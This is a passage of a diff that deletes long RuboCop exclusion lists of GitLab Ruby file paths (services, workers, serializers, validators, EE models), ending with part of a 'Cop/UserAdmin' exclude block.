- - 'app/serializers/service_event_entity.rb'
- - 'app/serializers/service_event_serializer.rb'
- - 'app/serializers/service_field_entity.rb'
- - 'app/serializers/service_field_serializer.rb'
- - 'app/serializers/stage_entity.rb'
- - 'app/serializers/stage_serializer.rb'
- - 'app/serializers/suggestion_entity.rb'
- - 'app/serializers/suggestion_serializer.rb'
- - 'app/serializers/test_case_entity.rb'
- - 'app/serializers/test_report_entity.rb'
- - 'app/serializers/test_report_serializer.rb'
- - 'app/serializers/test_report_summary_entity.rb'
- - 'app/serializers/test_report_summary_serializer.rb'
- - 'app/serializers/test_reports_comparer_entity.rb'
- - 'app/serializers/test_reports_comparer_serializer.rb'
- - 'app/serializers/test_suite_comparer_entity.rb'
- - 'app/serializers/test_suite_entity.rb'
- - 'app/serializers/test_suite_serializer.rb'
- - 'app/serializers/test_suite_summary_entity.rb'
- - 'app/serializers/trigger_variable_entity.rb'
- - 'app/serializers/triggered_pipeline_entity.rb'
- - 'app/serializers/user_entity.rb'
- - 'app/serializers/user_preference_entity.rb'
- - 'app/serializers/user_serializer.rb'
- - 'app/serializers/web_ide_terminal_entity.rb'
- - 'app/serializers/web_ide_terminal_serializer.rb'
- - 'app/services/access_token_validation_service.rb'
- - 'app/services/audit_event_service.rb'
- - 'app/services/auto_merge_service.rb'
- - 'app/services/base_container_service.rb'
- - 'app/services/base_count_service.rb'
- - 'app/services/base_project_service.rb'
- - 'app/services/base_renderer.rb'
- - 'app/services/base_service.rb'
- - 'app/services/bulk_create_integration_service.rb'
- - 'app/services/bulk_import_service.rb'
- - 'app/services/bulk_push_event_payload_service.rb'
- - 'app/services/bulk_update_integration_service.rb'
- - 'app/services/cohorts_service.rb'
- - 'app/services/compare_service.rb'
- - 'app/services/container_expiration_policy_service.rb'
- - 'app/services/event_create_service.rb'
- - 'app/services/gravatar_service.rb'
- - 'app/services/import_export_clean_up_service.rb'
- - 'app/services/issuable_base_service.rb'
- - 'app/services/issue_rebalancing_service.rb'
- - 'app/services/markdown_content_rewriter_service.rb'
- - 'app/services/merge_request_metrics_service.rb'
- - 'app/services/metrics_service.rb'
- - 'app/services/note_summary.rb'
- - 'app/services/notification_service.rb'
- - 'app/services/onboarding_progress_service.rb'
- - 'app/services/post_receive_service.rb'
- - 'app/services/preview_markdown_service.rb'
- - 'app/services/push_event_payload_service.rb'
- - 'app/services/repository_archive_clean_up_service.rb'
- - 'app/services/reset_project_cache_service.rb'
- - 'app/services/search_service.rb'
- - 'app/services/service_response.rb'
- - 'app/services/service_ping/submit_service.rb'
- - 'app/services/system_hooks_service.rb'
- - 'app/services/task_list_toggle_service.rb'
- - 'app/services/todo_service.rb'
- - 'app/services/update_container_registry_info_service.rb'
- - 'app/services/upload_service.rb'
- - 'app/services/user_agent_detail_service.rb'
- - 'app/services/user_project_access_changed_service.rb'
- - 'app/services/verify_pages_domain_service.rb'
- - 'app/services/web_hook_service.rb'
- - 'app/services/x509_certificate_revoke_service.rb'
- - 'app/uploaders/attachment_uploader.rb'
- - 'app/uploaders/avatar_uploader.rb'
- - 'app/uploaders/deleted_object_uploader.rb'
- - 'app/uploaders/dependency_proxy/file_uploader.rb'
- - 'app/uploaders/external_diff_uploader.rb'
- - 'app/uploaders/favicon_uploader.rb'
- - 'app/uploaders/file_mover.rb'
- - 'app/uploaders/file_uploader.rb'
- - 'app/uploaders/gitlab_uploader.rb'
- - 'app/uploaders/import_export_uploader.rb'
- - 'app/uploaders/job_artifact_uploader.rb'
- - 'app/uploaders/lfs_object_uploader.rb'
- - 'app/uploaders/namespace_file_uploader.rb'
- - 'app/uploaders/personal_file_uploader.rb'
- - 'app/validators/abstract_path_validator.rb'
- - 'app/validators/addressable_url_validator.rb'
- - 'app/validators/any_field_validator.rb'
- - 'app/validators/array_members_validator.rb'
- - 'app/validators/branch_filter_validator.rb'
- - 'app/validators/certificate_fingerprint_validator.rb'
- - 'app/validators/certificate_key_validator.rb'
- - 'app/validators/certificate_validator.rb'
- - 'app/validators/cluster_name_validator.rb'
- - 'app/validators/color_validator.rb'
- - 'app/validators/cron_freeze_period_timezone_validator.rb'
- - 'app/validators/cron_timezone_validator.rb'
- - 'app/validators/cron_validator.rb'
- - 'app/validators/devise_email_validator.rb'
- - 'app/validators/duration_validator.rb'
- - 'app/validators/feature_flag_strategies_validator.rb'
- - 'app/validators/feature_flag_user_xids_validator.rb'
- - 'app/validators/future_date_validator.rb'
- - 'app/validators/html_safety_validator.rb'
- - 'app/validators/ip_address_validator.rb'
- - 'app/validators/js_regex_validator.rb'
- - 'app/validators/json_schema_validator.rb'
- - 'app/validators/key_restriction_validator.rb'
- - 'app/validators/line_code_validator.rb'
- - 'app/validators/named_ecdsa_key_validator.rb'
- - 'app/validators/namespace_path_validator.rb'
- - 'app/validators/project_path_validator.rb'
- - 'app/validators/public_url_validator.rb'
- - 'app/validators/qualified_domain_array_validator.rb'
- - 'app/validators/rsa_key_validator.rb'
- - 'app/validators/same_project_association_validator.rb'
- - 'app/validators/sha_validator.rb'
- - 'app/validators/system_hook_url_validator.rb'
- - 'app/validators/top_level_group_validator.rb'
- - 'app/validators/untrusted_regexp_validator.rb'
- - 'app/validators/nested_attributes_duplicates_validator.rb'
- - 'app/validators/x509_certificate_credentials_validator.rb'
- - 'app/workers/admin_email_worker.rb'
- - 'app/workers/approve_blocked_pending_approval_users_worker.rb'
- - 'app/workers/archive_trace_worker.rb'
- - 'app/workers/authorized_keys_worker.rb'
- - 'app/workers/authorized_projects_worker.rb'
- - 'app/workers/auto_merge_process_worker.rb'
- - 'app/workers/background_migration_worker.rb'
- - 'app/workers/build_coverage_worker.rb'
- - 'app/workers/build_finished_worker.rb'
- - 'app/workers/build_hooks_worker.rb'
- - 'app/workers/build_queue_worker.rb'
- - 'app/workers/build_success_worker.rb'
- - 'app/workers/build_trace_sections_worker.rb'
- - 'app/workers/bulk_import_worker.rb'
- - 'app/workers/chat_notification_worker.rb'
- - 'app/workers/ci_platform_metrics_update_cron_worker.rb'
- - 'app/workers/cleanup_container_repository_worker.rb'
- - 'app/workers/cluster_configure_istio_worker.rb'
- - 'app/workers/cluster_install_app_worker.rb'
- - 'app/workers/cluster_patch_app_worker.rb'
- - 'app/workers/cluster_provision_worker.rb'
- - 'app/workers/cluster_update_app_worker.rb'
- - 'app/workers/cluster_upgrade_app_worker.rb'
- - 'app/workers/cluster_wait_for_app_installation_worker.rb'
- - 'app/workers/cluster_wait_for_app_update_worker.rb'
- - 'app/workers/cluster_wait_for_ingress_ip_address_worker.rb'
- - 'app/workers/container_expiration_policy_worker.rb'
- - 'app/workers/create_commit_signature_worker.rb'
- - 'app/workers/create_note_diff_file_worker.rb'
- - 'app/workers/create_pipeline_worker.rb'
- - 'app/workers/delete_container_repository_worker.rb'
- - 'app/workers/delete_diff_files_worker.rb'
- - 'app/workers/delete_merged_branches_worker.rb'
- - 'app/workers/delete_stored_files_worker.rb'
- - 'app/workers/delete_user_worker.rb'
- - 'app/workers/destroy_pages_deployments_worker.rb'
- - 'app/workers/detect_repository_languages_worker.rb'
- - 'app/workers/disallow_two_factor_for_group_worker.rb'
- - 'app/workers/disallow_two_factor_for_subgroups_worker.rb'
- - 'app/workers/email_receiver_worker.rb'
- - 'app/workers/emails_on_push_worker.rb'
- - 'app/workers/error_tracking_issue_link_worker.rb'
- - 'app/workers/expire_build_artifacts_worker.rb'
- - 'app/workers/expire_build_instance_artifacts_worker.rb'
- - 'app/workers/expire_job_cache_worker.rb'
- - 'app/workers/expire_pipeline_cache_worker.rb'
- - 'app/workers/export_csv_worker.rb'
- - 'app/workers/external_service_reactive_caching_worker.rb'
- - 'app/workers/file_hook_worker.rb'
- - 'app/workers/flush_counter_increments_worker.rb'
- - 'app/workers/git_garbage_collect_worker.rb'
- - 'app/workers/gitlab_performance_bar_stats_worker.rb'
- - 'app/workers/gitlab_shell_worker.rb'
- - 'app/workers/gitlab_service_ping_worker.rb'
- - 'app/workers/gitlab_usage_ping_worker.rb'
- - 'app/workers/group_destroy_worker.rb'
- - 'app/workers/group_export_worker.rb'
- - 'app/workers/group_import_worker.rb'
- - 'app/workers/import_export_project_cleanup_worker.rb'
- - 'app/workers/import_issues_csv_worker.rb'
- - 'app/workers/invalid_gpg_signature_update_worker.rb'
- - 'app/workers/irker_worker.rb'
- - 'app/workers/issuable_export_csv_worker.rb'
- - 'app/workers/issue_due_scheduler_worker.rb'
- - 'app/workers/issue_placement_worker.rb'
- - 'app/workers/issue_rebalancing_worker.rb'
- - 'app/workers/member_invitation_reminder_emails_worker.rb'
- - 'app/workers/merge_request_cleanup_refs_worker.rb'
- - 'app/workers/merge_request_mergeability_check_worker.rb'
- - 'app/workers/merge_worker.rb'
- - 'app/workers/migrate_external_diffs_worker.rb'
- - 'app/workers/namespaceless_project_destroy_worker.rb'
- - 'app/workers/new_issue_worker.rb'
- - 'app/workers/new_merge_request_worker.rb'
- - 'app/workers/new_note_worker.rb'
- - 'app/workers/pages_domain_removal_cron_worker.rb'
- - 'app/workers/pages_domain_ssl_renewal_cron_worker.rb'
- - 'app/workers/pages_domain_ssl_renewal_worker.rb'
- - 'app/workers/pages_domain_verification_cron_worker.rb'
- - 'app/workers/pages_domain_verification_worker.rb'
- - 'app/workers/pages_transfer_worker.rb'
- - 'app/workers/pages_update_configuration_worker.rb'
- - 'app/workers/pages_worker.rb'
- - 'app/workers/partition_creation_worker.rb'
- - 'app/workers/pipeline_hooks_worker.rb'
- - 'app/workers/pipeline_metrics_worker.rb'
- - 'app/workers/pipeline_notification_worker.rb'
- - 'app/workers/pipeline_process_worker.rb'
- - 'app/workers/pipeline_schedule_worker.rb'
- - 'app/workers/pipeline_update_worker.rb'
- - 'app/workers/post_receive.rb'
- - 'app/workers/process_commit_worker.rb'
- - 'app/workers/project_cache_worker.rb'
- - 'app/workers/project_daily_statistics_worker.rb'
- - 'app/workers/project_destroy_worker.rb'
- - 'app/workers/project_export_worker.rb'
- - 'app/workers/project_schedule_bulk_repository_shard_moves_worker.rb'
- - 'app/workers/project_service_worker.rb'
- - 'app/workers/project_update_repository_storage_worker.rb'
- - 'app/workers/propagate_integration_group_worker.rb'
- - 'app/workers/propagate_integration_inherit_descendant_worker.rb'
- - 'app/workers/propagate_integration_inherit_worker.rb'
- - 'app/workers/propagate_integration_project_worker.rb'
- - 'app/workers/propagate_integration_worker.rb'
- - 'app/workers/propagate_service_template_worker.rb'
- - 'app/workers/prune_old_events_worker.rb'
- - 'app/workers/prune_web_hook_logs_worker.rb'
- - 'app/workers/purge_dependency_proxy_cache_worker.rb'
- - 'app/workers/reactive_caching_worker.rb'
- - 'app/workers/rebase_worker.rb'
- - 'app/workers/remote_mirror_notification_worker.rb'
- - 'app/workers/remove_expired_group_links_worker.rb'
- - 'app/workers/remove_expired_members_worker.rb'
- - 'app/workers/remove_unaccepted_member_invites_worker.rb'
- - 'app/workers/remove_unreferenced_lfs_objects_worker.rb'
- - 'app/workers/repository_archive_cache_worker.rb'
- - 'app/workers/repository_cleanup_worker.rb'
- - 'app/workers/repository_fork_worker.rb'
- - 'app/workers/repository_import_worker.rb'
- - 'app/workers/repository_remove_remote_worker.rb'
- - 'app/workers/repository_update_remote_mirror_worker.rb'
- - 'app/workers/requests_profiles_worker.rb'
- - 'app/workers/run_pipeline_schedule_worker.rb'
- - 'app/workers/schedule_merge_request_cleanup_refs_worker.rb'
- - 'app/workers/schedule_migrate_external_diffs_worker.rb'
- - 'app/workers/self_monitoring_project_create_worker.rb'
- - 'app/workers/self_monitoring_project_delete_worker.rb'
- - 'app/workers/service_desk_email_receiver_worker.rb'
- - 'app/workers/snippet_schedule_bulk_repository_shard_moves_worker.rb'
- - 'app/workers/snippet_update_repository_storage_worker.rb'
- - 'app/workers/stage_update_worker.rb'
- - 'app/workers/stuck_ci_jobs_worker.rb'
- - 'app/workers/stuck_export_jobs_worker.rb'
- - 'app/workers/stuck_merge_jobs_worker.rb'
- - 'app/workers/system_hook_push_worker.rb'
- - 'app/workers/trending_projects_worker.rb'
- - 'app/workers/update_container_registry_info_worker.rb'
- - 'app/workers/update_external_pull_requests_worker.rb'
- - 'app/workers/update_head_pipeline_for_merge_request_worker.rb'
- - 'app/workers/update_highest_role_worker.rb'
- - 'app/workers/update_merge_requests_worker.rb'
- - 'app/workers/update_project_statistics_worker.rb'
- - 'app/workers/upload_checksum_worker.rb'
- - 'app/workers/wait_for_cluster_creation_worker.rb'
- - 'app/workers/web_hook_worker.rb'
- - 'app/workers/x509_certificate_revoke_worker.rb'
- - 'app/workers/x509_issuer_crl_check_worker.rb'
- - 'ee/app/controllers/countries_controller.rb'
- - 'ee/app/controllers/country_states_controller.rb'
- - 'ee/app/controllers/omniauth_kerberos_spnego_controller.rb'
- - 'ee/app/controllers/operations_controller.rb'
- - 'ee/app/controllers/sitemap_controller.rb'
- - 'ee/app/controllers/smartcard_controller.rb'
- - 'ee/app/controllers/subscriptions_controller.rb'
- - 'ee/app/controllers/survey_responses_controller.rb'
- - 'ee/app/controllers/trial_registrations_controller.rb'
- - 'ee/app/controllers/trials_controller.rb'
- - 'ee/app/controllers/unsubscribes_controller.rb'
- - 'ee/app/controllers/usernames_controller.rb'
- - 'ee/app/finders/audit_log_finder.rb'
- - 'ee/app/finders/billed_users_finder.rb'
- - 'ee/app/finders/custom_project_templates_finder.rb'
- - 'ee/app/finders/dast_scanner_profiles_finder.rb'
- - 'ee/app/finders/dast_site_profiles_finder.rb'
- - 'ee/app/finders/dast_site_validations_finder.rb'
- - 'ee/app/finders/epics_finder.rb'
- - 'ee/app/finders/geo_node_finder.rb'
- - 'ee/app/finders/gpg_keys_finder.rb'
- - 'ee/app/finders/group_saml_identity_finder.rb'
- - 'ee/app/finders/groups_with_templates_finder.rb'
- - 'ee/app/finders/iterations_finder.rb'
- - 'ee/app/finders/licenses_finder.rb'
- - 'ee/app/finders/merge_requests_compliance_finder.rb'
- - 'ee/app/finders/merge_trains_finder.rb'
- - 'ee/app/finders/productivity_analytics_finder.rb'
- - 'ee/app/finders/scim_finder.rb'
- - 'ee/app/finders/software_license_policies_finder.rb'
- - 'ee/app/mailers/ci_minutes_usage_mailer.rb'
- - 'ee/app/mailers/credentials_inventory_mailer.rb'
- - 'ee/app/mailers/license_mailer.rb'
- - 'ee/app/mailers/previews/ci_minutes_usage_mailer_preview.rb'
- - 'ee/app/mailers/previews/license_mailer_preview.rb'
- - 'ee/app/models/allowed_email_domain.rb'
- - 'ee/app/models/approval_merge_request_rule.rb'
- - 'ee/app/models/approval_merge_request_rule_source.rb'
- - 'ee/app/models/approval_project_rule.rb'
- - 'ee/app/models/approval_project_rules_protected_branch.rb'
- - 'ee/app/models/approval_state.rb'
- - 'ee/app/models/approval_wrapped_any_approver_rule.rb'
- - 'ee/app/models/approval_wrapped_code_owner_rule.rb'
- - 'ee/app/models/approval_wrapped_rule.rb'
- - 'ee/app/models/approver.rb'
- - 'ee/app/models/approver_group.rb'
- - 'ee/app/models/board_assignee.rb'
- - 'ee/app/models/board_label.rb'
- - 'ee/app/models/board_user_preference.rb'
- - 'ee/app/models/burndown.rb'
- - 'ee/app/models/dast_scanner_profile.rb'
- - 'ee/app/models/dast_site.rb'
- - 'ee/app/models/dast_site_profile.rb'
- - 'ee/app/models/dast_site_token.rb'
- - 'ee/app/models/dast_site_validation.rb'
- - 'ee/app/models/elasticsearch_indexed_namespace.rb'
- - 'ee/app/models/elasticsearch_indexed_project.rb'
- - 'ee/app/models/epic_issue.rb'
- - 'ee/app/models/epic_user_mention.rb'
- - 'ee/app/models/feature_flag_issue.rb'
- - 'ee/app/models/geo_node.rb'
- - 'ee/app/models/geo_node_namespace_link.rb'
- - 'ee/app/models/geo_node_status.rb'
- - 'ee/app/models/gitlab_subscription.rb'
- - 'ee/app/models/gitlab_subscription_history.rb'
- - 'ee/app/models/group_deletion_schedule.rb'
- - 'ee/app/models/group_merge_request_approval_setting.rb'
- - 'ee/app/models/group_wiki.rb'
- - 'ee/app/models/group_wiki_repository.rb'
- - 'ee/app/models/historical_data.rb'
- - 'ee/app/models/hooks/group_hook.rb'
- - 'ee/app/models/index_status.rb'
- - 'ee/app/models/insight.rb'
- - 'ee/app/models/instance_security_dashboard.rb'
- - 'ee/app/models/ip_restriction.rb'
- - 'ee/app/models/issuable_metric_image.rb'
- - 'ee/app/models/issuable_sla.rb'
- - 'ee/app/models/issuables_analytics.rb'
- - 'ee/app/models/iteration_note.rb'
- - 'ee/app/models/ldap_group_link.rb'
- - 'ee/app/models/ldap_key.rb'
- - 'ee/app/models/license.rb'
- - 'ee/app/models/merge_request_block.rb'
- - 'ee/app/models/merge_request_diff_detail.rb'
- - 'ee/app/models/merge_train.rb'
- - 'ee/app/models/namespace_limit.rb'
- - 'ee/app/models/namespace_statistics.rb'
- - 'ee/app/models/path_lock.rb'
- - 'ee/app/models/pg_replication_slot.rb'
- - 'ee/app/models/productivity_analytics.rb'
- - 'ee/app/models/project_alias.rb'
- - 'ee/app/models/project_repository_state.rb'
- - 'ee/app/models/project_security_setting.rb'
- - 'ee/app/models/protected_environment.rb'
- - 'ee/app/models/push_rule.rb'
- - 'ee/app/models/resource_iteration_event.rb'
- - 'ee/app/models/resource_weight_event.rb'
- - 'ee/app/models/saml_group_link.rb'
- - 'ee/app/models/saml_provider.rb'
- - 'ee/app/models/scim_identity.rb'
- - 'ee/app/models/scim_oauth_access_token.rb'
- - 'ee/app/models/scoped_label_set.rb'
- - 'ee/app/models/slack_integration.rb'
- - 'ee/app/models/smartcard_identity.rb'
- - 'ee/app/models/software_license.rb'
- - 'ee/app/models/software_license_policy.rb'
- - 'ee/app/models/storage_shard.rb'
- - 'ee/app/models/user_permission_export_upload.rb'
- - 'ee/app/models/users_ops_dashboard_project.rb'
- - 'ee/app/models/users_security_dashboard_project.rb'
- - 'ee/app/models/vulnerability_user_mention.rb'
- - 'ee/app/models/weight_note.rb'
- - 'ee/app/policies/approval_merge_request_rule_policy.rb'
- - 'ee/app/policies/approval_project_rule_policy.rb'
- - 'ee/app/policies/approval_state_policy.rb'
- - 'ee/app/policies/dast_scanner_profile_policy.rb'
- - 'ee/app/policies/dast_site_profile_policy.rb'
- - 'ee/app/policies/dast_site_validation_policy.rb'
- - 'ee/app/policies/epic_policy.rb'
- - 'ee/app/policies/geo_node_policy.rb'
- - 'ee/app/policies/instance_security_dashboard_policy.rb'
- - 'ee/app/policies/issuable_metric_image_policy.rb'
- - 'ee/app/policies/iteration_policy.rb'
- - 'ee/app/policies/push_rule_policy.rb'
- - 'ee/app/policies/saml_provider_policy.rb'
- - 'ee/app/policies/vulnerability_policy.rb'
- - 'ee/app/presenters/approval_rule_presenter.rb'
- - 'ee/app/presenters/audit_event_presenter.rb'
- - 'ee/app/presenters/epic_issue_presenter.rb'
- - 'ee/app/presenters/epic_presenter.rb'
- - 'ee/app/presenters/iteration_presenter.rb'
- - 'ee/app/presenters/merge_request_approver_presenter.rb'
- - 'ee/app/presenters/subscription_presenter.rb'
- - 'ee/app/presenters/vulnerability_presenter.rb'
- - 'ee/app/serializers/audit_event_entity.rb'
- - 'ee/app/serializers/audit_event_serializer.rb'
- - 'ee/app/serializers/blocking_merge_request_entity.rb'
- - 'ee/app/serializers/board_assignee_entity.rb'
- - 'ee/app/serializers/board_label_entity.rb'
- - 'ee/app/serializers/board_milestone_entity.rb'
- - 'ee/app/serializers/dashboard_environment_entity.rb'
- - 'ee/app/serializers/dashboard_environments_project_entity.rb'
- - 'ee/app/serializers/dashboard_environments_serializer.rb'
- - 'ee/app/serializers/dashboard_operations_project_entity.rb'
- - 'ee/app/serializers/dashboard_operations_serializer.rb'
- - 'ee/app/serializers/dependency_entity.rb'
- - 'ee/app/serializers/dependency_list_entity.rb'
- - 'ee/app/serializers/dependency_list_serializer.rb'
- - 'ee/app/serializers/epic_base_entity.rb'
- - 'ee/app/serializers/epic_entity.rb'
- - 'ee/app/serializers/epic_note_entity.rb'
- - 'ee/app/serializers/epic_note_serializer.rb'
- - 'ee/app/serializers/epic_serializer.rb'
- - 'ee/app/serializers/file_lock_entity.rb'
- - 'ee/app/serializers/geo_design_registry_entity.rb'
- - 'ee/app/serializers/geo_design_registry_serializer.rb'
- - 'ee/app/serializers/geo_node_serializer.rb'
- - 'ee/app/serializers/geo_node_status_serializer.rb'
- - 'ee/app/serializers/geo_project_registry_entity.rb'
- - 'ee/app/serializers/geo_project_registry_serializer.rb'
- - 'ee/app/serializers/group_analytics_serializer.rb'
- - 'ee/app/serializers/group_vulnerability_autocomplete_entity.rb'
- - 'ee/app/serializers/group_vulnerability_autocomplete_serializer.rb'
- - 'ee/app/serializers/invited_group_entity.rb'
- - 'ee/app/serializers/invited_group_serializer.rb'
- - 'ee/app/serializers/iteration_serializer.rb'
- - 'ee/app/serializers/license_entity.rb'
- - 'ee/app/serializers/license_scanning_reports_comparer_entity.rb'
- - 'ee/app/serializers/license_scanning_reports_comparer_serializer.rb'
- - 'ee/app/serializers/license_scanning_reports_serializer.rb'
- - 'ee/app/serializers/licenses_list_entity.rb'
- - 'ee/app/serializers/licenses_list_serializer.rb'
- - 'ee/app/serializers/linked_epic_entity.rb'
- - 'ee/app/serializers/linked_epic_issue_entity.rb'
- - 'ee/app/serializers/linked_epic_issue_serializer.rb'
- - 'ee/app/serializers/linked_epic_serializer.rb'
- - 'ee/app/serializers/linked_feature_flag_issue_entity.rb'
- - 'ee/app/serializers/linked_feature_flag_issue_serializer.rb'
- - 'ee/app/serializers/managed_license_entity.rb'
- - 'ee/app/serializers/managed_license_serializer.rb'
- - 'ee/app/serializers/merge_request_compliance_entity.rb'
- - 'ee/app/serializers/metrics_report_metric_entity.rb'
- - 'ee/app/serializers/metrics_reports_comparer_entity.rb'
- - 'ee/app/serializers/metrics_reports_comparer_serializer.rb'
- - 'ee/app/serializers/milestone_serializer.rb'
- - 'ee/app/serializers/namespace_entity.rb'
- - 'ee/app/serializers/productivity_analytics_merge_request_entity.rb'
- - 'ee/app/serializers/report_list_entity.rb'
- - 'ee/app/serializers/scim_oauth_access_token_entity.rb'
- - 'ee/app/serializers/storage_shard_entity.rb'
- - 'ee/app/serializers/storage_shard_serializer.rb'
- - 'ee/app/serializers/user_analytics_entity.rb'
- - 'ee/app/serializers/vulnerability_entity.rb'
- - 'ee/app/serializers/vulnerability_note_entity.rb'
- - 'ee/app/serializers/vulnerability_note_serializer.rb'
- - 'ee/app/serializers/vulnerability_serializer.rb'
- - 'ee/app/services/clear_namespace_shared_runners_minutes_service.rb'
- - 'ee/app/services/ldap_group_reset_service.rb'
- - 'ee/app/services/start_pull_mirroring_service.rb'
- - 'ee/app/services/timebox_report_service.rb'
- - 'ee/app/uploaders/issuable_metric_image_uploader.rb'
- - 'ee/app/validators/host_validator.rb'
- - 'ee/app/validators/ldap_filter_validator.rb'
- - 'ee/app/workers/active_user_count_threshold_worker.rb'
- - 'ee/app/workers/adjourned_group_deletion_worker.rb'
- - 'ee/app/workers/adjourned_project_deletion_worker.rb'
- - 'ee/app/workers/adjourned_projects_deletion_cron_worker.rb'
- - 'ee/app/workers/admin_emails_worker.rb'
- - 'ee/app/workers/clear_shared_runners_minutes_worker.rb'
- - 'ee/app/workers/create_github_webhook_worker.rb'
- - 'ee/app/workers/dast_site_validation_worker.rb'
- - 'ee/app/workers/elastic_association_indexer_worker.rb'
- - 'ee/app/workers/elastic_cluster_reindexing_cron_worker.rb'
- - 'ee/app/workers/elastic_commit_indexer_worker.rb'
- - 'ee/app/workers/elastic_delete_project_worker.rb'
- - 'ee/app/workers/elastic_full_index_worker.rb'
- - 'ee/app/workers/elastic_index_bulk_cron_worker.rb'
- - 'ee/app/workers/elastic_index_initial_bulk_cron_worker.rb'
- - 'ee/app/workers/elastic_indexing_control_worker.rb'
- - 'ee/app/workers/elastic_namespace_indexer_worker.rb'
- - 'ee/app/workers/elastic_namespace_rollout_worker.rb'
- - 'ee/app/workers/elastic_remove_expired_namespace_subscriptions_from_index_cron_worker.rb'
- - 'ee/app/workers/geo_repository_destroy_worker.rb'
- - 'ee/app/workers/group_saml_group_sync_worker.rb'
- - 'ee/app/workers/historical_data_worker.rb'
- - 'ee/app/workers/import_software_licenses_worker.rb'
- - 'ee/app/workers/ingress_modsecurity_counter_metrics_worker.rb'
- - 'ee/app/workers/iterations_update_status_worker.rb'
- - 'ee/app/workers/ldap_all_groups_sync_worker.rb'
- - 'ee/app/workers/ldap_group_sync_worker.rb'
- - 'ee/app/workers/ldap_sync_worker.rb'
- - 'ee/app/workers/merge_request_reset_approvals_worker.rb'
- - 'ee/app/workers/network_policy_metrics_worker.rb'
- - 'ee/app/workers/new_epic_worker.rb'
- - 'ee/app/workers/project_import_schedule_worker.rb'
- - 'ee/app/workers/project_template_export_worker.rb'
- - 'ee/app/workers/pseudonymizer_worker.rb'
- - 'ee/app/workers/refresh_license_compliance_checks_worker.rb'
- - 'ee/app/workers/repository_push_audit_event_worker.rb'
- - 'ee/app/workers/repository_update_mirror_worker.rb'
- - 'ee/app/workers/scan_security_report_secrets_worker.rb'
- - 'ee/app/workers/set_user_status_based_on_user_cap_setting_worker.rb'
- - 'ee/app/workers/store_security_reports_worker.rb'
- - 'ee/app/workers/store_security_scans_worker.rb'
- - 'ee/app/workers/sync_seat_link_request_worker.rb'
- - 'ee/app/workers/sync_seat_link_worker.rb'
- - 'ee/app/workers/sync_security_reports_to_report_approval_rules_worker.rb'
- - 'ee/app/workers/update_all_mirrors_worker.rb'
- - 'ee/app/workers/update_max_seats_used_for_gitlab_com_subscriptions_worker.rb'
- - 'ee/lib/gitlab/path_locks_finder.rb'
- - 'ee/spec/support/elastic_query_name_inspector.rb'
- - 'ee/spec/support/ssh_keygen.rb'
- - 'ee/spec/support/test_license.rb'
- - 'lib/carrier_wave_string_file.rb'
- - 'lib/csv_builder.rb'
- - 'lib/event_filter.rb'
- - 'lib/feature.rb'
- - 'lib/feature/definition.rb'
- - 'lib/feature/gitaly.rb'
- - 'lib/feature/logger.rb'
- - 'lib/feature/shared.rb'
- - 'lib/file_size_validator.rb'
- - 'lib/forever.rb'
- - 'lib/gitlab_danger.rb'
- - 'lib/learn_gitlab.rb'
- - 'lib/tasks/gitlab/graphql.rake'
- - 'lib/tasks/gitlab/seed/group_seed.rake'
- - 'lib/tasks/import.rake'
- - 'lib/tasks/tokens.rake'
- - 'lib/uploaded_file.rb'
- - 'lib/version_check.rb'
- - 'qa/spec/specs/helpers/quarantine_spec.rb'
- - 'spec/controllers/concerns/page_limiter_spec.rb'
- - 'spec/lib/bitbucket/collection_spec.rb'
- - 'spec/lib/gitlab/database/bulk_update_spec.rb'
- - 'spec/lib/gitlab/multi_destination_logger_spec.rb'
- - 'spec/lib/marginalia_spec.rb'
- - 'spec/mailers/notify_spec.rb'
- - 'spec/models/concerns/batch_destroy_dependent_associations_spec.rb'
- - 'spec/models/concerns/bulk_insertable_associations_spec.rb'
- - 'spec/models/concerns/triggerable_hooks_spec.rb'
- - 'spec/support/helpers/bare_repo_operations.rb'
- - 'spec/support/helpers/ci_artifact_metadata_generator.rb'
- - 'spec/support/helpers/fake_migration_classes.rb'
- - 'spec/support/helpers/fake_u2f_device.rb'
- - 'spec/support/helpers/fake_webauthn_device.rb'
- - 'spec/support/helpers/markdown_feature.rb'
- - 'spec/support/helpers/redis_without_keys.rb'
- - 'spec/support/helpers/require_migration.rb'
- - 'spec/support/inspect_squelch.rb'
- - 'spec/support/models/merge_request_without_merge_request_diff.rb'
- - 'spec/support/renameable_upload.rb'
- - 'spec/support/sidekiq_middleware.rb'
- - 'spec/tasks/gitlab/task_helpers_spec.rb'
- - 'spec/uploaders/object_storage_spec.rb'
-
-# WIP See https://gitlab.com/gitlab-org/gitlab/-/issues/207950
-Cop/UserAdmin:
- Exclude:
- - 'app/controllers/admin/impersonations_controller.rb'
- - 'app/controllers/concerns/spammable_actions.rb'
- - 'app/controllers/sessions_controller.rb'
- - 'app/finders/autocomplete/routes_finder.rb'
- - 'app/finders/ci/jobs_finder.rb'
- - 'app/finders/ci/runners_finder.rb'
- - 'app/finders/personal_access_tokens_finder.rb'
- - 'app/finders/users_finder.rb'
- - 'app/graphql/mutations/admin/sidekiq_queues/delete_jobs.rb'
- - 'app/graphql/resolvers/admin/analytics/usage_trends/measurements_resolver.rb'
- - 'app/helpers/application_helper.rb'
- - 'app/helpers/import_helper.rb'
- - 'app/helpers/nav_helper.rb'
- - 'app/helpers/projects_helper.rb'
- - 'app/helpers/search_helper.rb'
- - 'app/helpers/user_callouts_helper.rb'
- - 'app/helpers/users_helper.rb'
- - 'app/helpers/visibility_level_helper.rb'
- - 'app/models/concerns/protected_ref_access.rb'
- - 'app/models/concerns/spammable.rb'
- - 'app/models/issue_collection.rb'
- - 'app/models/merge_requests_closing_issues.rb'
- - 'app/models/protected_branch.rb'
- - 'app/models/user.rb'
- - 'app/policies/note_policy.rb'
- - 'app/serializers/deploy_key_entity.rb'
- - 'app/services/auth/container_registry_authentication_service.rb'
- - 'app/services/emails/create_service.rb'
- - 'app/services/projects/enable_deploy_key_service.rb'
- - 'app/services/projects/fork_service.rb'
- - 'app/services/users/build_service.rb'
- - 'ee/app/controllers/ee/projects_controller.rb'
- - 'ee/app/graphql/mutations/admin/analytics/devops_adoption/segments/mixins.rb'
- - 'ee/app/graphql/resolvers/admin/analytics/devops_adoption/segments_resolver.rb'
- - 'ee/app/helpers/ee/dashboard_helper.rb'
- - 'ee/app/helpers/ee/import_helper.rb'
- - 'ee/app/helpers/ee/subscribable_banner_helper.rb'
- - 'ee/app/helpers/ee/user_callouts_helper.rb'
- - 'ee/app/helpers/license_monitoring_helper.rb'
- - 'ee/app/helpers/push_rules_helper.rb'
- - 'ee/app/models/concerns/ee/protected_ref_access.rb'
